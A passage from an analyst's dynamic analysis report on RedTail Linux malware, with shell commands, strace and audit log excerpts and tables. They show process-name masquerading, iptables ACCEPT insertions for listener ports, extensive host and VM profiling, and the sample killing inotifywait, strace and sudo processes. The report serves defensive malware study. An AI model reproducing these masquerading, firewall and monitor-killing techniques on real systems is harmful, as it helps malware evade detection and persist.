echo "==== RUN 001 EXECUTION #2 : FIREWALL ATTEMPT ====="
grep -n \
'a0="iptables".*a1="-I".*a2="INPUT".*a5="--dport".*a6="40219"' \
"$BASE1/audit/exec-events.txt"
==== RUN 001 EXECUTION #2 : MASQUERADE =====
1787749914.880602 prctl(PR_SET_NAME, "postgres: user "... ) = 0 <0.000021
>

==== RUN 001 EXECUTION #2 : LISTENER =====
tcp LISTEN 0 128 0.0.0.0:40219 0.0.0.0:* users:(
("postgres: user ",pid=148078,fd=7))

==== RUN 001 EXECUTION #2 : FIREWALL ATTEMPT =====
54766:type=EXECVE msg=audit(1787749914.942:221376): argc=9 a0="iptables"
a1="-I" a2="INPUT" a3="-p" a4="tcp" a5="--dport" a6="40219" a7="-j" a8=
"ACCEPT"
victor58@victintester1:~$
```

RUN 002 Pictures

```
victor58@victintester1:~$ echo "==== RUN 002 : MASQUERADE ====="
grep -m1 'prctl(PR_SET_NAME' "$TRACE2"

echo
echo "==== RUN 002 : LISTENER ====="
grep -m3 '0\.\0\.\0\.\0:39983' \
"$BASE2/post/listeners.txt"

echo
echo "==== RUN 002 : FIREWALL ATTEMPT ====="
grep -n \
'a0="iptables".*a1="-I".*a2="INPUT".*a5="--dport".*a6="39983"' \
"$BASE2/audit/exec-events.txt"
==== RUN 002 : MASQUERADE =====
1787993543.519937 prctl(PR_SET_NAME, "php") = 0 <0.000020>

==== RUN 002 : LISTENER =====
tcp LISTEN 0 128 0.0.0.0:39983 0.0.0.0:* users:(
("php",pid=10395,fd=7))

==== RUN 002 : FIREWALL ATTEMPT =====
73302:type=EXECVE msg=audit(1787993543.606:14137): argc=9 a0="iptables"
a1="-I" a2="INPUT" a3="-p" a4="tcp" a5="--dport" a6="39983" a7="-j" a8=
ACCEPT"
victor58@victintester1:~$
```

```
victor58@victimtester1:~$ echo "==== RUN 002 : REAL EXECUTABLE VS PROCE
SS NAME ====="

grep -m1 -B2 -A2 \
'exe="/analysis/run-002/sample/redtail.x86_64"' \
"$BASE2/audit/connect-events.txt"
==== RUN 002 : REAL EXECUTABLE VS PROCESS NAME =====
type=PROCTITLE msg=audit(1787993543.522:14126): proctitle=7068702D66706D
3A20706F6F6C20777777
type=SOCKADDR msg=audit(1787993543.522:14126): saddr=010000000000000000
00000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
type=SYSCALL msg=audit(1787993543.522:14126): arch=c000003e syscall=42 s
uccess=no exit=-111 a0=3 a1=7ffe2d84f220 a2=6e a3=0 items=0 ppid=1 pid=1
0395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 t
ty=(none) ses=1 comm="php" exe="/analysis/run-002/sample/redtail.x86_64"
subj=unconfined key="malware_connect"
----
time->Sat Aug 29 08:52:23 2026
```

```
victor58@victimtester1:~$ echo '7068702D66706D3A20706F6F6C20777777' | xxd -r -p; echo
php-fpm: pool www
```

Summary

Execution	Masquerade	Listener	Firewall target
Run 001 #1	php	39539	39539
Run 001 #2	postgres: user ...	40219	40219
Run 002	php / php-fpm: pool www	39983	39983

Host Discovery and System Profiling

Immediately after execution, RedTail performed extensive host profiling through Linux /proc and /sys interfaces. It queried processor characteristics, CPU topology and cache configuration, system memory, NUMA layout, huge-page availability, GPU information, kernel boot parameters, and DMI hardware identifiers.

Several of these queries were capable of identifying the analysis environment as virtualized. In Run 002, the returned data included the hypervisor CPU flag, QEMU system and chassis vendor values, SeaBIOS, and a Q35 virtual-machine product identifier. Despite receiving these virtualization indicators, RedTail continued executing its persistence, listener-creation and network-initialization routines.

To determine whether this profiling was incidental or part of a consistent initialization routine, the same query set was compared across both RedTail executions in Run 001 and the root-privileged execution in Run 002.

Raw Log Screenshot Snippets

```
victor58@victintester1:~$ BASE2=/analysis/evidence-review/run002/run-002
DISC2=/analysis/evidence-review/run002-host-discovery
mkdir -p "$DISC2"
```

```
victor58@victintester1:~$ grep 'trace.10394:' "$DISC2/run002-host-discovery.txt" \
| grep -E 'openat|read|' \
| grep -E '/proc/(cpuinfo|meminfo|cmdline)|/sys/devices/system/(cpu|node)|/sys/kernel/mm/hugepages|/sys/devices/virtua
l/dmi/id' \
| tee "$DISC2/run002-host-profile-clean.txt"
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10394:47:1787993543.472855 openat(-1, "/proc/
cmdline", O_RDONLY|O_LARGEFILE) = 3</proc/cmdline> <0.000023>
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10394:49:1787993543.472982 read(3</proc/cmdli
ne>, "BOOT_IMAGE=mlinuz-6.8.0-138-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro\n", 1024) = 80 <0.000021>
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10394:52:1787993543.473154 openat(-1, "/proc/
cpuinfo", O_RDONLY|O_LARGEFILE) = 3</proc/cpuinfo> <0.000021>
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10394:54:1787993543.473264 read(3</proc/cpuin
fo>, "processor\t: 0\nvendor_id\t: AuthenticAMD\ncpu family\t: 25\nmodel\t\t: 68\nmodel name\t: AMD Ryzen 7 6800H with
Radeon Vega Mobile Gfx\nstepping\t: 1\nmicrocode\t: 0xa404107\ncpu MHz\t\t: 2694.910\ncache size\t: 512 KB\nphysical
id\t: 0\nsiblings\t: 4\ncore id\t\t: 0\ncpu cores\t: 4\napicid\t\t: 0\ninitial apicid\t: 0\nfpu\t\t: yes\nfpu_exceptio
n\t: yes\ncpuid level\t: 16\nwp\t\t: yes\nflags\t\t: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat
pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_k
nown_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand
hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw perfctr_core ssbd ibrs ibpb stib
p vmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec
xgetbv1 xsaves clzero xsaveptr wbnoinvd arat npt lbrv nrp_save tsc_scale vmcb_clean flushbyasid pausefilter pfthres
hold v vmsave ", 1024) = 1024 <0.000037>
```

```
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10394:461:1787993543.500325
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10394:464:1787993543.500527
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10394:465:1787993543.500608
```

```
close(3</sys/devices/system/cpu/cpu0/cache/index0/type>) = 0 <0.000018>
openat(-1, "/sys/devices/system/cpu/cpu0/cache/index0/id", O_RDONLY|O_LARGEFILE) = 3</sys/devices/system
read(3</sys/devices/system/cpu/cpu0/cache/index0/id>, "0\n", 10) = 2 <0.000018>
close(3</sys/devices/system/cpu/cpu0/cache/index0/id>) = 0 <0.000018>
openat(-1, "/sys/devices/system/cpu/cpu0/cache/index0/size", O_RDONLY|O_LARGEFILE) = 3</sys/devices/syst
read(3</sys/devices/system/cpu/cpu0/cache/index0/size>, "64K\n", 10) = 4 <0.000018>
close(3</sys/devices/system/cpu/cpu0/cache/index0/size>) = 0 <0.000019>
openat(-1, "/sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size", O_RDONLY|O_LARGEFILE) = 3</s
read(3</sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size>, "64\n", 10) = 3 <0.000018>
close(3</sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size>) = 0 <0.000018>
openat(-1, "/sys/devices/system/cpu/cpu0/cache/index0/number_of_sets", O_RDONLY|O_LARGEFILE) = 3</sys/de
read(3</sys/devices/system/cpu/cpu0/cache/index0/number_of_sets>, "512\n", 10) = 4 <0.000018>
close(3</sys/devices/system/cpu/cpu0/cache/index0/number_of_sets>) = 0 <0.000018>
openat(-1, "/sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition", O_RDONLY|O_LARGEFILE) =
read(3</sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition>, "1\n", 10) = 2 <0.000018>
close(3</sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition>) = 0 <0.000018>
openat(-1, "/sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map", O_RDONLY|O_LARGEFILE) = 3</sys/de
read(3</sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map>, "1\n", 4097) = 2 <0.000019>
```

Processed Logs Screenshot Snippet

```
/sys/devices/system/node/online | 0\n
/sys/devices/virtual/dmi/id/bios_date | 04/01/2014\n
/sys/devices/virtual/dmi/id/bios_vendor | SeaBIOS\n
/sys/devices/virtual/dmi/id/bios_version | rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org\n
/sys/devices/virtual/dmi/id/chassis_asset_tag | \n
/sys/devices/virtual/dmi/id/chassis_serial | \n
/sys/devices/virtual/dmi/id/chassis_type | 1\n
/sys/devices/virtual/dmi/id/chassis_vendor | QEMU\n
/sys/devices/virtual/dmi/id/chassis_version | pc-q35-10.1\n
/sys/devices/virtual/dmi/id/product_name | Standard PC (Q35 + ICH9, 2009)\n
/sys/devices/virtual/dmi/id/product_serial | \n
/sys/devices/virtual/dmi/id/product_uuid | 770cb473-61eb-4f56-9777-d9e44d8ad48f\n
/sys/devices/virtual/dmi/id/product_version | pc-q35-10.1\n
/sys/devices/virtual/dmi/id/sys_vendor | QEMU\n
/sys/fs/cgroup/cpuset.cpus.effective | 0-3\n
/sys/fs/cgroup/cpuset.mems.effective | 0\n
```

RedTail Host Profiling Queries — Run 002

RedTail first queried `/proc/cpuinfo` and `/proc/cmdline`, obtaining processor, architecture and kernel information. The CPU information identified the virtual machine as exposing an AMD Ryzen 7 6800H processor with four visible CPUs and included the hypervisor CPU flag.

The sample then enumerated the topology of CPUs 0 through 3. It queried core IDs, CPU maps, package and die relationships, and CPU availability. This allowed it to identify the number and arrangement of available processors.

RedTail also performed unusually detailed cache enumeration. It queried the type, level, size, line size, number of sets, and sharing relationships of the available L1, L2 and L3 caches. It continued checking additional cache indexes until the kernel returned `ENOENT`, indicating that no further cache levels were present.

This behaviour shows that RedTail was not limited to simply determining the processor model or CPU count. It collected detailed information about the resources and topology available to the process.

Info sought	Path queried	Reply received	Interpretation
Process CPU set	<code>/proc/10394/cpuset</code>	<code>/</code>	Process was in the root/default cpuset
Kernel boot arguments	<code>/proc/cmdline</code>	<code>BOOT_IMAGE=/vmlinuz-6.8.0-138-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro</code>	Revealed kernel/boot configuration
CPU details	<code>/proc/cpuinfo</code>	AMD Ryzen 7 6800H with Radeon Vega Mobile Gfx, AuthenticAMD, 4 cores plus CPU capabilities	Detailed processor profiling
Virtualization CPU flag	<code>/proc/cpuinfo</code>	CPU flags included hypervisor	Guest OS exposed a virtualization indicator
GPU information	<code>/proc/driver/nvidia/gpus</code>	<code>ENOENT</code>	NVIDIA GPU information was not present
System memory	<code>/proc/meminfo</code>	MemTotal 6034600 kB, MemAvailable 5582216 kB	Approximately 6 GB RAM available to VM
Swap	<code>/proc/meminfo</code>	SwapTotal 4194300 kB	Approximately 4 GB swap
Huge pages	<code>/proc/meminfo</code>	HugePages_Total: 0, Hugepagesize: 2048 kB	Huge pages supported but none allocated

CPU topology

Query	CPU0	CPU 1	CPU 2	CPU 3	Meaning
topology/core_id	0	1	2	3	Individual logical/core identifiers
topology/core_cpus	1	2	4	8	CPU bitmap for each core
topology/cluster_cpus	1	2	4	8	CPU cluster bitmap
topology/die_cpus	f	f	f	f	All four CPUs share the die
physical_package_id	0 observed	—	—	—	Physical CPU package identifier
die_id	0 observed	—	—	—	CPU die identifier
/sys/devices/system/cpu/online	colspan	0-3			CPUs 0–3 online
/sys/devices/system/cpu/possible	colspan	0-3			Four possible CPUs

CPU cache profiling

Cache query	Reply	Interpretation
cache/index0/level	1	L1 cache
cache/index0/type	Data	L1 data cache
cache/index0/size	64K	64 KB L1 data cache
cache/index0/coherency_line_size	64	64-byte cache line
cache/index0/number_of_sets	512	Cache geometry
cache/index1/level	1	L1 cache
cache/index1/type	Instruction	L1 instruction cache
cache/index2/level	2	L2 cache
cache/index2/type	Unified	Unified L2
cache/index2/size	512K	512 KB L2 cache
cache/index2/coherency_line_size	64	64-byte cache line
cache/index2/number_of_sets	512	L2 geometry
cache/index3/level	3	L3 cache
cache/index3/type	Unified	Unified L3
cache/index3/size	16384K	16 MB L3
cache/index3/shared_cpu_map	f	Shared by CPUs 0–3
cache/index4–index9	ENOENT	RedTail tested for higher cache levels, but they did not exist

NUMA and memory profiling

RedTail queried `/proc/meminfo` to determine total and available system memory, swap configuration and huge-page availability. In Run 002, the VM exposed approximately 6 GB of RAM and 4 GB of swap, while no huge pages were currently allocated.

The sample also queried NUMA information under `/sys/devices/system/node`. It identified a single NUMA node, obtained the CPUs associated with that node, examined node-specific memory usage, and checked both 2 MB and 1 GB huge-page configurations. RedTail additionally attempted to query NUMA bandwidth and latency interfaces, although these returned `ENOENT` because the interfaces were unavailable in the VM.

The detailed CPU, cache, NUMA and huge-page enumeration resembles resource-suitability profiling that could be useful to a computationally intensive workload. However, the observed system calls alone do not establish exactly how RedTail used this information.

Path queried	Reply	Interpretation
<code>/sys/devices/system/node/online</code>	0	Only NUMA node 0 online
<code>node0/cpumap</code>	f	CPUs 0–3 associated with node 0
<code>node0/meminfo</code>	MemTotal 6034600 kB, MemFree 5381312 kB, MemUsed 653288 kB, etc.	NUMA-node-specific memory usage
<code>node0/hugepages/...2048kB/ nr_hugepages</code>	0	No 2 MB huge pages
<code>node0/hugepages/...1048576kB/ nr_hugepages</code>	0	No 1 GB huge pages
<code>node0/access0/initiators</code>	ENOENT	NUMA performance interface unavailable
<code>.../read_bandwidth</code>	ENOENT	Bandwidth data unavailable
<code>.../write_bandwidth</code>	ENOENT	Bandwidth data unavailable
<code>.../read_latency</code>	ENOENT	NUMA read latency unavailable
<code>.../write_latency</code>	ENOENT	NUMA write latency unavailable
<code>/sys/fs/cgroup/ cpuset.cpus.effective</code>	0-3	Process could use CPUs 0–3
<code>/sys/fs/cgroup/ cpuset.mems.effective</code>	0	Process restricted to NUMA node 0

Hardware and virtualization profiling

RedTail queried multiple DMI identifiers under `/sys/devices/virtual/dmi/id/`. It also retrieved the VM's `product_uuid` when executing with root privileges.

These results show that RedTail queried information sufficient to identify the system as a QEMU virtual machine. The evidence does not establish that the malware performed anti-VM evasion or terminated based on these values; in this experiment, it continued execution despite receiving them.

DMI query	Reply
bios_date	04/01/2014
bios_vendor	SeaBIOS
bios_version	rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org
product_name	Standard PC (Q35 + ICH9, 2009)
product_version	pc-q35-10.1
product_uuid	770cb473-61eb-4f56-9777-d9e44d8ad48f
product_serial	Empty
chassis_vendor	QEMU
chassis_version	pc-q35-10.1
chassis_type	1
chassis_serial	Empty
chassis_asset_tag	Empty
sys_vendor	QEMU
board_vendor	ENOENT
board_name	ENOENT
board_version	ENOENT
board_serial	ENOENT
board_asset_tag	ENOENT

Host Profiling Comparison Across Run 001 and Run 002

The host-profiling behaviour was highly reproducible.

Run 001 contained two separate non-root executions of RedTail, and each produced 180 extracted host query/reply records. Run 002 executed the same sample as root. After normalizing the process-specific /proc/<PID>/cpuset path, the unique host-information query sets from all three executions were identical and produced the same SHA-256 hash.

This demonstrated that RedTail consistently queried the same categories of information across all three executions:

- CPU and processor capabilities
- CPU topology
- cache configuration
- system memory
- NUMA topology
- huge-page configuration
- GPU information
- kernel configuration
- DMI hardware and virtualization identifiers

1. Identify which Run 001 trace files performed the host profiling

```
victor58@victimtester1:~$ find "$BASE1/runtime" -type f -name 'trace.*' \
-exec grep -lE \
'/proc/cpuinfo|proc/meminfo|sys/devices/virtual/dmi/id/product_name|sys/devices/system/cpu/online' \
{} + \
| sort \
| tee "$DISC1/host-profiling-traces.txt"
/analysis/evidence-review/run001/run-001/runtime/strace/trace.147998
/analysis/evidence-review/run001/run-001/runtime/strace/trace.148073
```

2. Extract PATH | REPLY from every matching RedTail trace

```
victor58@victimtester1:~$ while IFS= read -r TRACE; do
    PID=$(basename "$TRACE" | sed 's/^trace\.//')
    OUT="$DISC1/run001-pid-{$PID}-host-query-replies.txt"
    echo "[*] Processing PID $PID"
    {
        grep -E 'read\([0-9]+\(/proc|sys)/' "$TRACE" \
        | sed -E 's#.*read\([0-9]+\(>\)+>, "([^\"]*)".*#\1 | \2#'
        grep -E 'openat\(.*/(proc|sys)/.*= -1 (ENOENT|EACCES|EPERM)' "$TRACE" \
        | sed -E 's#.*openat\([^\"]*"([^\"]+)".*= -1 ([A-Z]+).*#\1 | ERROR: \2#'
    } \
    | sort -u \
    > "$OUT"
    echo "    $(wc -l < "$OUT") query/reply records"
done < "$DISC1/host-profiling-traces.txt"
[*] Processing PID 147998
180 query/reply records
[*] Processing PID 148073
180 query/reply records
```

3. Then list what was created:

```
victor58@victimtester1:~$ ls -lh "$DISC1"/*host-query-replies.txt
-rw-rw-r-- 1 victor58 victor58 19K Aug 30 18:32 /analysis/evidence-review/run001-host-discovery/run001-pid-147998-host-query-replies.txt
-rw-rw-r-- 1 victor58 victor58 19K Aug 30 18:32 /analysis/evidence-review/run001-host-discovery/run001-pid-148073-host-query-replies.txt
```

4. Make a clean list of only the paths queried

```
victor58@victintester1:~$ for PID in 147998 148073; do
  cut -d'|' -f1 \
  "$DISC1/run001-pid-{$PID}-host-query-replies.txt" \
  | sed 's/[[:space:]]*$//'\
  | sort -u \
  > "$DISC1/run001-pid-{$PID}-query-paths.txt"
done
```

5. Compare the two Run 001 executions

```
victor58@victintester1:~$ diff -u \
"$DISC1/run001-pid-147998-query-paths.txt" \
"$DISC1/run001-pid-148073-query-paths.txt" \
| tee "$DISC1/run001-exec1-vs-exec2-query-paths.diff"
--- /analysis/evidence-review/run001-host-discovery/run001-pid-147998-query-paths.txt 2026-08-30 18:32:51.969000000 +0000
+++ /analysis/evidence-review/run001-host-discovery/run001-pid-148073-query-paths.txt 2026-08-30 18:32:51.972000000 +0000
@@ -1,4 +1,4 @@
-/proc/147998/cpuset
+/proc/148073/cpuset
/proc/cmdline
/proc/cpuinfo
/proc/driver/nvidia/gpus
```

6. Compare Run 001 with Run 002

Create its path-only version for Run 002, same formatting as applied to Run 001:

```
victor58@victintester1:~$ cut -d'|' -f1 \
/analysis/evidence-review/run002-host-discovery/run002-host-query-replies.txt \
| sed 's/[[:space:]]*$//'\
| sort -u \
> /analysis/evidence-review/run002-host-discovery/run002-query-paths.txt
```

Then compare it against Run 001:

```
victor58@victintester1:~$ diff -u \
"$DISC1/run001-pid-147998-query-paths.txt" \
/analysis/evidence-review/run002-host-discovery/run002-query-paths.txt \
| tee "$DISC1/run001-exec1-vs-run002.diff"
--- /analysis/evidence-review/run001-host-discovery/run001-pid-147998-query-paths.txt 2026-08-30 18:32:51.969000000 +0000
+++ /analysis/evidence-review/run002-host-discovery/run002-query-paths.txt 2026-08-30 18:33:33.197000000 +0000
@@ -1,4 +1,4 @@
-/proc/147998/cpuset
+/proc/10394/cpuset
/proc/cmdline
/proc/cpuinfo
/proc/driver/nvidia/gpus
```

7. Normalizing the process-specific /proc/<PID>/cpuset pathname

```
victor58@victintester1:~$ for PID in 147998 148073; do
  sed -E 's#/proc/[0-9]+/cpuset#/proc/<PID>/cpuset#' \
  "$DISC1/run001-pid-{$PID}-query-paths.txt" \
  > "$DISC1/run001-pid-{$PID}-query-paths-normalized.txt"
done
```

8. Comparing all 3 runs query paths again with sha256 hashes of the files.

```
victor58@victintester1:~$ for F in \
"$DISC1/run001-pid-147998-query-paths-normalized.txt" \
"$DISC1/run001-pid-148073-query-paths-normalized.txt" \
/analysis/evidence-review/run002-host-discovery/run002-query-paths-normalized.txt
do
  sha256sum "$F"
done
30f3edb2e6b1a1be440c38ae7b37179f1009d70f193a449981310527dac5e87c /analysis/evidence-review/run001-host-discovery/run001-pid-147998-query-paths-normalized.txt
30f3edb2e6b1a1be440c38ae7b37179f1009d70f193a449981310527dac5e87c /analysis/evidence-review/run001-host-discovery/run001-pid-148073-query-paths-normalized.txt
30f3edb2e6b1a1be440c38ae7b37179f1009d70f193a449981310527dac5e87c /analysis/evidence-review/run002-host-discovery/run002-query-paths-normalized.txt
```

Result: All the same query paths being run.

After which, a comparison of the returned values was performed. A comparison was taken between the two non-root Run 001 executions:

QUERY	RUN 001 #1	RUN 001 #2
/proc MemFree	150,352 kB	139,648 kB
MemAvailable	5,492,848 kB	5,483,680 kB
Cached	5,334,892 kB	5,340,972 kB
NUMA node0 MemFree	150,352 kB	139,648 kB
NUMA node0 MemUsed	5,884,240 kB	5,894,944 kB

The comparison of the returned values showed that most differences were simply caused by changing system state. For example, free and available memory differed between executions while the same `/proc/meminfo` query was performed each time.

The comparison between Run 001 and Run 002 were more interesting because Run 001 was non-root while Run 002 was root directly, the differences were related to execution privilege. During the non-root Run 001 executions, the following DMI queries returned EACCES:

```
chassis_serial | ERROR: EACCES
product_serial | ERROR: EACCES
product_uuid | ERROR: EACCES
```

During root-privileged Run 002, RedTail queried exactly the same paths, but access succeeded:

```
chassis_serial | [empty]
product_serial | [empty]
product_uuid | 770cb473-61eb-4f56-9777-d9e44d8ad48f
```

The second Run 001 execution gives the same non-root result, strengthening the finding.

```
victor58@victimtester1:~$ grep -n -B2 -A2 -Ei \
'product_uuid|product_serial|chassis_serial|EACCES' \
"$DISC1/run001-exec1-vs-run002-replies.diff"
23- /sys/devices/virtual/dmi/id/board_version | ERROR: ENOENT
24- /sys/devices/virtual/dmi/id/chassis_asset_tag | \n
25- /sys/devices/virtual/dmi/id/chassis_serial | ERROR: EACCES
26+ /sys/devices/virtual/dmi/id/chassis_serial | \n
27- /sys/devices/virtual/dmi/id/chassis_type | 1\n
28- /sys/devices/virtual/dmi/id/chassis_vendor | QEMU\n
29- /sys/devices/virtual/dmi/id/chassis_version | pc-q35-10.1\n
30- /sys/devices/virtual/dmi/id/product_name | Standard PC (Q35 + ICH9, 2009)\n
31- /sys/devices/virtual/dmi/id/product_serial | ERROR: EACCES
32- /sys/devices/virtual/dmi/id/product_uuid | ERROR: EACCES
33+ /sys/devices/virtual/dmi/id/product_serial | \n
34+ /sys/devices/virtual/dmi/id/product_uuid | 770cb473-61eb-4f56-9777-d9e44d8ad48f\n
35- /sys/devices/virtual/dmi/id/product_version | pc-q35-10.1\n
36- /sys/devices/virtual/dmi/id/sys_vendor | QEMU\n
```

```
victor58@victimtester1:~$ grep -nEi \
'product_uuid|product_serial|chassis_serial|EACCES' \
"$DISC1/run001-exec2-vs-run002-replies.diff"
25- /sys/devices/virtual/dmi/id/chassis_serial | ERROR: EACCES
26+ /sys/devices/virtual/dmi/id/chassis_serial | \n
31- /sys/devices/virtual/dmi/id/product_serial | ERROR: EACCES
32- /sys/devices/virtual/dmi/id/product_uuid | ERROR: EACCES
33+ /sys/devices/virtual/dmi/id/product_serial | \n
34+ /sys/devices/virtual/dmi/id/product_uuid | 770cb473-61eb-4f56-9777-d9e44d8ad48f\n
```

This suggests that RedTail did not adapt its discovery routine according to privilege. Instead, it attempted the same enumeration sequence and obtained additional information when its execution context permitted access.

Root Privileges Query Output (No error returned):

```
[ /sys/devices/virtual/dmi/id/bios_date | 04/01/2014\n[ /sys/devices/virtual/dmi/id/bios_vendor | SeaBIOS\n[ /sys/devices/virtual/dmi/id/bios_version | rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org\n[ /sys/devices/virtual/dmi/id/chassis_asset_tag | \n[ /sys/devices/virtual/dmi/id/chassis_serial | \n[ /sys/devices/virtual/dmi/id/chassis_type | 1\n[ /sys/devices/virtual/dmi/id/chassis_vendor | QEMU\n[ /sys/devices/virtual/dmi/id/chassis_version | pc-q35-10.1\n[ /sys/devices/virtual/dmi/id/product_name | Standard PC (Q35 + ICH9, 2009)\n[ /sys/devices/virtual/dmi/id/product_serial | \n[ /sys/devices/virtual/dmi/id/product_uuid | 770cb473-61eb-4f56-9777-d9e44d8ad48f\n[ /sys/devices/virtual/dmi/id/product_version | pc-q35-10.1\n[ /sys/devices/virtual/dmi/id/sys_vendor | QEMU\n
```

Host Profiling Summary

The analysis showed that host and resource profiling is a consistent part of RedTail's initialization behaviour. Across three separate executions—two non-root executions in Run 001 and one root execution in Run 002—the malware queried an identical normalized set of host-information paths.

RedTail collected considerably more information than was required simply to identify the operating system. It enumerated CPU topology and cache geometry, system and NUMA memory, huge-page configuration, GPU availability, kernel parameters and DMI hardware identifiers. Execution privilege affected what information the operating system returned, but not which resources RedTail attempted to query.

Across all executions, RedTail obtained clear indicators that the analysis host was virtualized, including the hypervisor CPU flag, QEMU vendor strings, SeaBIOS and the Q35 virtual-machine identifier. Despite receiving these signals, the sample continued with cron persistence, listener creation, firewall-manipulation attempts and network initialization. This suggests that obvious virtualization indicators alone were not sufficient to alter or halt RedTail's observed runtime behaviour. One possible explanation is that virtualization by itself is no longer a reliable indicator of a malware-analysis sandbox, because similar characteristics are also common in legitimate VPS and cloud-hosted Linux environments. The purpose of these virtualization-related queries therefore cannot be conclusively attributed to sandbox evasion.

Process Termination and Defense Evasion

During Run 002, RedTail enumerated running processes through `/proc`, resolved their executable paths, and inspected command-line arguments before selectively issuing `SIGKILL`. The malware successfully terminated PID 1199, an `inotifywait` process used by the analysis environment to monitor filesystem changes. It also successfully killed the timeout process supervising the tracing session, along with two `sudo` processes associated with the script used to launch the experiment. In each of these cases, the `kill()` system call returned 0, confirming that the termination request succeeded.

RedTail also identified `/usr/bin/strace`, read the command line showing that it was tracing the RedTail executable, and then issued `SIGKILL` against the `strace` process. The trace terminated while recording this system call, so its return value was not preserved. Nevertheless, the sequence provides strong evidence that RedTail actively interfered with the instrumentation used to observe its behaviour during the root-privileged execution. The available dynamic evidence confirms analysis-tool disruption, although it does not yet establish the exact criteria RedTail used to decide which processes to terminate.

```
victor58@victimtester1:~$ Run this:
```

```
TRACE="$BASE2/runtime/strace-attempt001/trace.10395"
```

```
victor58@victimtester1:~$ grep -nE \
'kill\(|tgkill\(|tkill\(|' \
"$BASE2/runtime/strace-attempt001/trace.*"
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10395:918:17
87993543.580398 kill(1199, SIGKILL) = 0 <0.000025>
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10395:1160:1
787993543.596091 kill(10382, SIGKILL) = 0 <0.000029>
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10395:1167:1
787993543.596556 kill(10383, SIGKILL) = 0 <0.000074>
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10395:1179:1
787993543.597663 kill(10390, SIGKILL) = 0 <0.000072>
/analysis/evidence-review/run002/run-002/runtime/strace-attempt001/trace.10395:1186:1
787993543.598402 kill(10391, SIGKILL)
```

```
grep -n -B6 -A8 \
'kill(1199, SIGKILL)' \
"$TRACE"
912-1787993543.579997 lstat("/proc/1199/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000024>
913-1787993543.580062 readlink("/proc/1199/exe", "/usr/bin/inotifywait", 128) = 20 <0.000025>
914-1787993543.580138 open("/proc/1199/cmdline", O_RDONLY|O_LARGEFILE) = 4</proc/1199/cmdline> <0.000025>
915-1787993543.580207 read(4</proc/1199/cmdline>, "inotifywait\0-m\0-r\0-e\0create,modify,delete,mov
e,attrib,close_write\0- -timefmt\0%Y-%m-%dT%H:%M:%SZ\0- -format\0%T|e|w%f\0/tmp\0/var/tmp\0/dev/shm
\0/etc/systemd/system\0/etc/cron.d\0/usr/local/bin\0/home\0", 1023) = 192 <0.000025>
916-1787993543.580275 read(4</proc/1199/cmdline>, "", 1023) = 0 <0.000022>
917-1787993543.580336 close(4</proc/1199/cmdline>) = 0 <0.000022>
918-1787993543.580398 kill(1199, SIGKILL) = 0 <0.000025>
919-1787993543.580460 lstat("/proc/1200/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000025>
920-1787993543.580530 readlink("/proc/1200/exe", "/usr/bin/bash", 128) = 13 <0.000024>
921-1787993543.580600 open("/proc/1200/cmdline", O_RDONLY|O_LARGEFILE) = 4</proc/1200/cmdline> <0.000026>
```

The same process-enumeration and termination behaviour was reproduced during the two non-root executions in Run 001. In both executions, RedTail identified the root-owned inotifywait process used to monitor filesystem changes, read its command line, and attempted to terminate it with SIGKILL. These attempts returned EPERM, demonstrating that the non-root execution context prevented RedTail from terminating the root-owned monitor.

```
victor58@victimtester1:~$ TRACE2="$BASE1/runtime/strace/trace.148078"
victor58@victimtester1:~$ sed -n '708,715p' "$TRACE2"
1787749914.922767 lstat("/proc/1098/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000024>
1787749914.922828 readlink("/proc/1098/exe", 0x7e7f6e1a6660, 128) = -1 EACCES (Permission denied) <0.000020>
1787749914.922898 open("/proc/1098/cmdline", O_RDONLY|O_LARGEFILE) = 4</proc/1098/cmdline> <0.000021>
1787749914.922958 read(4</proc/1098/cmdline>, "inotifywait\0-m\0-r\0-e\0create,modify,delete,move,attrib,close_write\0- -timefmt\0%Y-%m-%dT%H:%M:%SZ\0- -format\0%T|e|w%f\0/tmp\0/var/tmp\0/dev/shm\0/etc/systemd/system\0/etc/cron.d\0/usr
/local/bin\0/home\0", 1023) = 192 <0.000021>
1787749914.923027 read(4</proc/1098/cmdline>, "", 1023) = 0 <0.000018>
